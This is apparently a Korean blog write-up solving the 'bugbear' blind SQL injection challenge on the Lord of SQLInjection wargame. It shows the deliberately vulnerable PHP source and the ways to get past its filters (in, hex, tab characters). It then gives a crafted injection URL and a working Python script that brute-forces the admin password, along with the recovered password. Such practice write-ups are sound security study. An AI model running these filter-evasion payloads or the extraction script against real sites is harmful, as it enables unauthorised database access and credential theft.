like
는 in
로 우회 가능ord
는 hex
로 우회 가능<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
이 문제는 직전에 풀었던 Darkknight 문제에 추가적인 필터링을 더한 문제이다.
이 문제는 저번 문제에서 필터링 당한 =
, substr
, '
, ascii
를 제외하고도 공격을 수행하는데 필수적이었던 like
가 추가로 필터링 당했다.
거기에 추가로 or
를 필터링하였는데 이 때문에 ord
도 필터링을 당했다.
이전 문제에서 사용하던 기법을 그대로 사용하고 추가로 필터링 된 기법만 우회를 해주면 된다.
=
의 필터링을 해주던 like
도 필터링 당했으므로 in
을 사용해주면 된다.
자세한 문법은 w3school에 잘 나와 있다. (이 사이트가 최고다)
그리고 대문자와 소문자를 구별해주던 ascii
나 ord
함수가 미국 갔으므로 앞선 2개를 대체할 수 있는 hex
함수을 이용해야 한다.
위 방식을 응용하여 비밀번호의 길이가 8자리인 것을 알아냈다.
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%09||%09id%09in%09(%22admin%22)%09%26%26%09length(pw)%3E7%26%26length(pw)%3C9
이를 기반으로 블라인드 SQL 인젝션을 위한 스크립트를 짜보았다.
# -*- coding: utf-8 -*-
import urllib.request
answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
session_id = "PHPSESSID="+"rcgm263oqae8tnvs1c4urdm6hl"
url_start = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"+'?'
for i in range(1, 9):
try:
for j in range(33, 128):
url = url_start+'no=1%09||%09id%09in%09(%22admin%22)%09%26%26%09hex(mid(pw,{},1))%09in%09(hex({}))'.format(i,j)
print(url)
req = urllib.request.Request(url) #엔터 치기전 상태
req.add_header('User-agent', user_agent) #헤더값 설정(los가 뱉어냄)
req.add_header("Cookie", session_id)
res = urllib.request.urlopen(req) # 엔터누른 효과
data = res.read().decode('utf-8') # 본문만 가져오기
if data.find('<h2>Hello admin</h2>') != -1:
print(chr(j))
answer = answer + chr(j)
break
except Exception as e:
continue
print(answer)
스크립트를 실행해보면 비밀번호는 52dc3991
이 나온다.
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=52dc3991